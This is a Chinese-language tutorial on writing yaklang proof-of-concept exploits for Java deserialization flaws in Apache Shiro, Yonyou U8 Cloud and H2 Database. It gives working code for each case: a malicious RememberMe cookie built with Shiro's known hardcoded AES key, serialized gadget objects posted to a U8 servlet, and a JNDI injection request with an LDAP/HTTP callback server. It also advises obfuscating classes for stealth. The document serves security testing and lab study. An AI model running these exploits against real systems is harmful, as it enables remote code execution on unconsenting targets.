高效开发:Java 反序列化漏洞 POC
字数 2092 2025-08-10 08:28:09
Java反序列化漏洞POC开发教学文档
1. 背景介绍
Java反序列化漏洞是Java应用程序中常见的安全漏洞类型,攻击者通过构造恶意的序列化对象,在目标系统上执行任意代码。本教学文档将详细介绍如何使用yaklang针对Java反序列化漏洞编写POC(Proof of Concept)。
2. 环境准备
2.1 工具要求
- yaklang环境
- Yakit工具
- vulhub靶场环境(用于测试)
2.2 基础概念
- 序列化:将Java对象转换为字节流的过程
- 反序列化:将字节流恢复为Java对象的过程
- Gadget链:一系列可利用的类和方法组合,用于构造恶意对象
3. Shiro反序列化漏洞POC开发
3.1 漏洞原理
Apache Shiro框架在RememberMe功能中使用Cookie传输序列化的Java对象。虽然使用了加密措施,但早期版本中加密密钥硬编码在源码中,攻击者可以使用正确的密钥构造恶意序列化对象实现RCE(远程代码执行)。
3.2 POC开发步骤
-
检测目标
target = cli.String("u") log.info("检测目标: %s ", target) -
生成DNSLog域名
domain,token = risk.NewDNSLogDomain() className = randstr(4) -
生成恶意对象
gadgetObj,err = yso.GetCommonsBeanutils192NOCCJavaObject( yso.useDNSLogEvilClass(domain), yso.obfuscationClassConstantPool(), yso.evilClassName(className) ) -
序列化对象
gadgetBytes,err = yso.ToBytes(gadgetObj) -
加密Payload
base64Key = "kPH+bIxk5D2deZiIxcaaaA==" key,_ = codec.DecodeBase64(base64Key) payload = codec.PKCS5Padding(gadgetBytes, 16) encodePayload = codec.AESCBCEncrypt(key, payload, nil)[0] finalPayload = codec.EncodeBase64(append(key, encodePayload...)) -
发送Payload
rsp,err = http.Get(target, http.cookie("rememberMe=%s"%finalPayload)) -
验证漏洞
res,err = risk.CheckDNSLogByToken(token) if len(res) > 0{ log.info("目标 %s 存在Shiro RCE漏洞",target) }
4. 用友U8 Cloud反序列化漏洞POC开发
4.1 漏洞原理
用友U8 Cloud某些参数直接传递序列化对象,导致反序列化漏洞。
4.2 POC开发步骤
-
生成DNSLog域名
domain,token = risk.NewDNSLogDomain() className = randstr(8) -
生成CommonsCollections3恶意对象
gadgetObj,err = yso.GetCommonsCollections3JavaObject( yso.useDNSLogEvilClass(domain), yso.obfuscationClassConstantPool(), yso.evilClassName(className) ) -
序列化对象
gadgetBytes,err = yso.ToBytes(gadgetObj) -
发送Payload
rsp = http.Post( target+"/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet", http.body(gadgetBytes), http.proxy("http://127.0.0.1:8083") ) -
验证漏洞
res,err = risk.CheckDNSLogByToken(token, 3) if len(res) != 0{ log.info("目标 %s 存在反序列化漏洞",target) }
5. H2 Database JNDI注入漏洞POC开发
5.1 漏洞原理
H2 Database配置不当导致攻击者可以访问h2-console页面,通过指定JNDI URL发起连接。
5.2 POC开发步骤
-
启动反连服务器
go fn{ className = randstr(8) classObj,err = yso.GenerateDNSlogEvilClassObject( domain, yso.obfuscationClassConstantPool(), yso.evilClassName(className) ) evalClassResource,err = yso.ToBytes(classObj) facades.Serve("0.0.0.0", 8089, facades.ldapResourceAddr(className, "127.0.0.1:8089"), facades.httpResource(className, evalClassResource) ) } -
构造并发送HTTP请求
poc.HTTP(`POST /h2-console/test.do?jsessionid=ab50d353801ba9bf68a94edfd66413b4 HTTP/1.1 Host: {{p(target)}} Content-Type: application/x-www-form-urlencoded language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url={{p(addr)}}&user=sa&password=`, poc.params({ "target":target, "addr":"127.0.0.1:8089", })) -
验证漏洞
res,err = risk.CheckDNSLogByToken(token, 3)
6. 常用yaklang函数说明
6.1 Yso-Java Hack相关函数
yso.GetCommonsBeanutils192NOCCJavaObject(): 生成CommonsBeanutils1.9.2利用链对象yso.GetCommonsCollections3JavaObject(): 生成CommonsCollections3利用链对象yso.useDNSLogEvilClass(): 使用DNSLog恶意类yso.obfuscationClassConstantPool(): 混淆类常量池yso.evilClassName(): 生成随机恶意类名yso.ToBytes(): 将Java对象序列化为字节数组
6.2 编码/加密函数
codec.DecodeBase64(): Base64解码codec.EncodeBase64(): Base64编码codec.PKCS5Padding(): PKCS5填充codec.AESCBCEncrypt(): AES CBC模式加密
6.3 网络相关函数
http.Get(): 发送HTTP GET请求http.Post(): 发送HTTP POST请求http.cookie(): 设置Cookiehttp.body(): 设置请求体http.proxy(): 设置代理
6.4 反连服务相关
risk.NewDNSLogDomain(): 生成DNSLog域名risk.CheckDNSLogByToken(): 检查DNSLog回显facades.Serve(): 启动反连服务器facades.ldapResourceAddr(): 配置LDAP资源facades.httpResource(): 配置HTTP资源
7. 最佳实践建议
-
利用链选择:
- 优先测试CommonsBeanutils1.9.2和CommonsCollections3等常见利用链
- 使用Yso-Java Hack模块自动生成利用链代码
-
混淆技术:
- 使用
yso.obfuscationClassConstantPool()混淆类常量池 - 使用随机类名
randstr(8)增加隐蔽性
- 使用
-
验证方式:
- 优先使用DNSLog进行无交互验证
- 对于复杂环境,可使用反连服务器进行深入验证
-
调试技巧:
- 使用
http.proxy()设置代理观察流量 - 设置
log.setLevel("info")获取详细日志
- 使用
-
代码复用:
- 将常用Payload生成代码封装为函数
- 利用Yakit的"发送到Yak Runner"功能快速测试
8. 总结
yaklang提供了完善的Java反序列化漏洞POC开发基础设施,通过结合Yso-Java Hack模块和反连服务,可以高效地编写和测试POC。关键点包括:
- 正确选择利用链和恶意类
- 正确处理序列化和加密过程
- 使用DNSLog或反连服务进行可靠验证
- 利用yaklang的便捷函数简化开发流程
通过本教学文档的学习,开发者可以快速掌握使用yaklang开发Java反序列化漏洞POC的技能,提高安全测试效率。